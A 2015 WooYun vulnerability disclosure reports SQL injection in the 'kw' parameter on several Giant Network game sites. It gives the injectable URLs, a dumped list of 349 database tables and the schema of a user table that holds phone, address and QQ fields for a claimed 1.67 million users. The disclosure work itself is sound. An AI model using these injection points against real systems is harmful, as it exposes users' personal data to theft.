当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0116607

漏洞标题:游戏行业安全之巨人网络多站存在多个SQL注入点(貌似存在通用性\涉及至少数百万用户信息\包括大量第三方用户信息)

相关厂商:巨人网络

漏洞作者: 管管侠

提交时间:2015-05-27 23:12

修复时间:2015-07-13 09:16

公开时间:2015-07-13 09:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-27: 细节已通知厂商并且等待厂商处理中
2015-05-29: 厂商已经确认,细节仅向厂商公开
2015-06-08: 细节向核心白帽子及相关领域专家公开
2015-06-18: 细节向普通白帽子公开
2015-06-28: 细节向实习白帽子公开
2015-07-13: 细节向公众公开

简要描述:

建议厂商看完漏洞,确认一下,然后留言让审核打下码,不建议总忽略漏洞,好的吧!
注:合作第三方的用户表那么多

详细说明:

多处SQL注入
这两个同库:
http://tieba.xx.ztgame.com/index.php?mod=bbs&kw=1*&page=10&act=list
http://act.xx.ztgame.com/bbs/index.php?mod=bbs&act=list&kw=1*

1.png


下面这个单独库:
http://act.xzt.ztgame.com/lwj/index.php?mod=clan&act=zdlist&kw=1*

2.png

漏洞证明:

Database: act_xx
[349 tables]
+-----------------------------------+
| 7v_list |
| act_user |
| act_user_login_log |
| act_user_phone_log |
| act_user_score_log |
| active_log |
| app_config |
| app_device_user |
| app_http_log |
| app_ios_token |
| app_login_user |
| app_phone_bind_log |
| app_prize |
| app_prize_weibo_log |
| app_push_ios_log |
| app_push_log |
| article |
| bag_bonus_log |
| bag_bonus_log_v2 |
| bag_item |
| bag_item_v2 |
| bag_key |
| bag_member_address |
| bag_member_address_v2 |
| bag_v3_bonus_log |
| bag_v3_item |
| bag_v3_key |
| bag_v3_member_address |
| bag_v3_vote_chance |
| bag_vote_chance |
| bag_vote_chance_v2 |
| basicdata |
| bbs_forum |
| bbs_forum_post |
| bbs_log |
| bbs_member |
| bbs_member_action |
| bbs_member_blacklist |
| bbs_member_bonus |
| bbs_member_credit |
| bbs_member_message |
| bbs_member_message_del |
| bylot_log |
| catalogue |
| chief_code |
| chief_user |
| christmas_award |
| christmas_box_log |
| christmas_log |
| christmas_star_log |
| christmas_user |
| cjddp_award |
| cjddp_code |
| cjddp_user |
| cjddp_wlog |
| customfields |
| datapool |
| dazp_award |
| dazp_user |
| dazp_wlog |
| dbt_star |
| ddp_award |
| ddp_code |
| ddp_setting |
| ddp_slog |
| ddp_user |
| ddp_wlog |
| diaosi_phone |
| dp_logs |
| dp_msg |
| dp_point |
| dp_province |
| dp_record |
| dsapp_log |
| dsjj_file |
| dsjj_log |
| dsjj_star |
| duanwu_award |
| duanwu_log |
| duanwu_user |
| euro |
| euro_history |
| gohome_award |
| gohome_card_log |
| gohome_log |
| gohome_user |
| gowall_user |
| handbook |
| lvmama_user |
| lvmama_user_img |
| lvmama_vote_chance |
| lvmama_vote_log |
| lwj_login_log |
| maidan_card |
| maidan_chance |
| maidan_index_count |
| maidan_log |
| maidan_user |
| maidan_v3_bonus_log |
| maidan_v3_item |
| maidan_v3_key |
| maidan_v3_key_jd |
| maidan_v3_user |
| maidan_v4_bonus_log |
| maidan_v4_item |
| maidan_v4_key |
| maidan_v4_key_jd |
| maidan_v4_user |
| mmanchor_comment |
| mmanchor_list |
| mmanchor_log |
| mmshow_list |
| mmshow_log |
| mmshow_v10_list |
| mmshow_v2_list |
| mmshow_v2_log |
| mmshow_v3_list |
| mmshow_v3_log |
| mmshow_v4_list |
| mmshow_v4_log |
| mmshow_v5_list |
| mmshow_v6_list |
| mmshow_v7_list |
| mmshow_v7_log |
| mmshow_v8_list |
| mmshow_v9_list |
| mmvote_user |
| phone_20140619 |
| pk_login_log |
| pk_news |
| pk_say |
| pk_section |
| pkvote_info |
| pkvote_user |
| reg_phone |
| reg_sns |
| reward_award |
| reward_list |
| shaitu_list |
| shaitu_wlog |
| shengxiao_award |
| shengxiao_award_20131218 |
| shengxiao_log |
| shengxiao_log_20131218 |
| shengxiao_log_temp |
| shengxiao_log_temp_2 |
| snl_award |
| snl_code |
| snl_log |
| snl_star |
| sqserver_user |
| suggest |
| suggest_comment |
| suggest_user |
| talent_bonus_log |
| talent_items |
| talent_login_log |
| talent_user |
| talent_vote_chance |
| talent_vote_log |
| team_award |
| team_award_20130729 |
| team_award_20130805 |
| team_award_20130813 |
| team_collect_award |
| team_collect_award_20130729 |
| team_collect_award_20130805 |
| team_collect_award_20130813 |
| team_collect_log |
| team_collect_log_20130729 |
| team_collect_log_20130805 |
| team_collect_log_20130813 |
| team_collect_user |
| team_collect_user_20130729 |
| team_collect_user_20130805 |
| team_collect_user_20130813 |
| team_comment |
| team_comment_20130729 |
| team_comment_20130805 |
| team_comment_20130813 |
| team_error |
| team_error_20130729 |
| team_error_20130805 |
| team_error_20130813 |
| team_game_phone |
| team_game_phone_20130729 |
| team_game_phone_20130805 |
| team_game_phone_20130813 |
| team_list |
| team_list_20130729 |
| team_list_20130805 |
| team_list_20130813 |
| team_log |
| team_log_20130729 |
| team_log_20130805 |
| team_log_20130813 |
| team_member |
| team_member_20130729 |
| team_member_20130805 |
| team_member_20130813 |
| team_phone |
| team_phone_20130729 |
| team_phone_20130805 |
| team_phone_20130813 |
| team_user |
| team_user_20130729 |
| team_user_20130805 |
| team_user_20130813 |
| team_v2_phone |
| team_v2_phone_20130909 |
| team_v2_phone_20130922 |
| team_v2_phone_20131012 |
| team_v2_phone_20131028 |
| team_v2_phone_20131108 |
| team_v2_phone_20131209 |
| team_v2_phone_20131223 |
| team_v2_phone_20140103 |
| team_v2_phone_20140120 |
| team_v2_phone_20140214 |
| team_v2_phone_20140303 |
| team_v2_phone_20140318 |
| team_v2_phone_20140401 |
| team_v2_phone_20140414 |
| team_v2_phone_20140428 |
| team_v2_phone_20140512 |
| team_v2_team_list |
| team_v2_team_list_20130909 |
| team_v2_team_list_20130922 |
| team_v2_team_list_20131012 |
| team_v2_team_list_20131028 |
| team_v2_team_list_20131108 |
| team_v2_team_list_20131209 |
| team_v2_team_list_20131223 |
| team_v2_team_list_20140103 |
| team_v2_team_list_20140120 |
| team_v2_team_list_20140214 |
| team_v2_team_list_20140303 |
| team_v2_team_list_20140318 |
| team_v2_team_list_20140401 |
| team_v2_team_list_20140414 |
| team_v2_team_list_20140428 |
| team_v2_team_list_20140512 |
| team_v2_team_member_list |
| team_v2_team_member_list_20130909 |
| team_v2_team_member_list_20130922 |
| team_v2_team_member_list_20131012 |
| team_v2_team_member_list_20131028 |
| team_v2_team_member_list_20131108 |
| team_v2_team_member_list_20131209 |
| team_v2_team_member_list_20131223 |
| team_v2_team_member_list_20140103 |
| team_v2_team_member_list_20140120 |
| team_v2_team_member_list_20140214 |
| team_v2_team_member_list_20140303 |
| team_v2_team_member_list_20140318 |
| team_v2_team_member_list_20140401 |
| team_v2_team_member_list_20140414 |
| team_v2_team_member_list_20140428 |
| team_v2_team_member_list_20140512 |
| team_v2_team_token_list |
| team_v2_team_token_list_20130909 |
| team_v2_team_token_list_20130922 |
| team_v2_team_token_list_20131012 |
| team_v2_team_token_list_20131028 |
| team_v2_team_token_list_20131108 |
| team_v2_team_token_list_20131209 |
| team_v2_team_token_list_20131223 |
| team_v2_team_token_list_20140103 |
| team_v2_team_token_list_20140120 |
| team_v2_team_token_list_20140214 |
| team_v2_team_token_list_20140303 |
| team_v2_team_token_list_20140318 |
| team_v2_team_token_list_20140401 |
| team_v2_team_token_list_20140414 |
| team_v2_team_token_list_20140428 |
| team_v2_team_token_list_20140512 |
| team_v2_team_user_list |
| team_v2_team_user_list_20130909 |
| team_v2_team_user_list_20130922 |
| team_v2_team_user_list_20131012 |
| team_v2_team_user_list_20131028 |
| team_v2_team_user_list_20131108 |
| team_v2_team_user_list_20131209 |
| team_v2_team_user_list_20131223 |
| team_v2_team_user_list_20140103 |
| team_v2_team_user_list_20140120 |
| team_v2_team_user_list_20140214 |
| team_v2_team_user_list_20140303 |
| team_v2_team_user_list_20140318 |
| team_v2_team_user_list_20140401 |
| team_v2_team_user_list_20140414 |
| team_v2_team_user_list_20140428 |
| team_v2_team_user_list_20140512 |
| team_v2_weibo_log |
| team_v2_weibo_log_20130909 |
| team_v2_weibo_log_20130922 |
| team_v2_weibo_log_20131012 |
| team_v2_weibo_log_20131028 |
| team_v2_weibo_log_20131108 |
| team_v2_weibo_log_20131209 |
| team_v2_weibo_log_20131223 |
| team_v2_weibo_log_20140103 |
| team_v2_weibo_log_20140120 |
| team_v2_weibo_log_20140214 |
| team_v2_weibo_log_20140303 |
| team_v2_weibo_log_20140318 |
| team_v2_weibo_log_20140401 |
| team_v2_weibo_log_20140414 |
| team_v2_weibo_log_20140428 |
| team_v2_weibo_log_20140512 |
| team_v3_login_log |
| team_v3_phone |
| team_v3_phone_new |
| team_v3_prize |
| toughguy_apply |
| treasure_code |
| treasure_log |
| treasure_user |
| treasure_wlog |
| tzh_list |
| tzh_log |
| upload |
| v8_reg_log |
| vocation_vote |
| wish_code |
| wish_log |
| wish_user |
| wish_wlog |
| xgdd_users |
| xx_api_log |
| xx_yidong |
| ydteam_award |
| ydteam_collect_award |
| ydteam_collect_log |
| ydteam_comment |
| ydteam_error |
| ydteam_game_phone |
| ydteam_list |
| ydteam_log |
| ydteam_member |
| ydteam_phone |
| ydteam_user |
| yuanxiao_award |
| yuanxiao_log |
| yuanxiao_user |
| zp_code |
| zp_user |
| zp_useraward |
| zp_userchancelog |
+-----------------------------------+
Database: act_xx
Table: act_user
[13 columns]
+----------+---------------------+
| Column | Type |
+----------+---------------------+
| accid | int(11) unsigned |
| account | varchar(50) |
| address | varchar(255) |
| birth | int(10) unsigned |
| cdate | date |
| city | int(5) unsigned |
| id | int(11) unsigned |
| ldate | date |
| phone | int(11) unsigned |
| province | int(2) unsigned |
| qq | varchar(12) |
| score | int(10) unsigned |
| sex | tinyint(1) unsigned |
+----------+---------------------+

3.png


仅act_user就167W+的用户详细信息,其他user表就不一一读取了,证明危害

修复方案:

不确认却偷偷修漏洞的厂商被称为“无良厂商”
建议通查使用该系统的业务,应该存在通用性

版权声明:转载请注明来源 管管侠@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-05-29 09:14

厂商回复:

这个漏洞已确认,正在评估修补总

最新状态:

暂无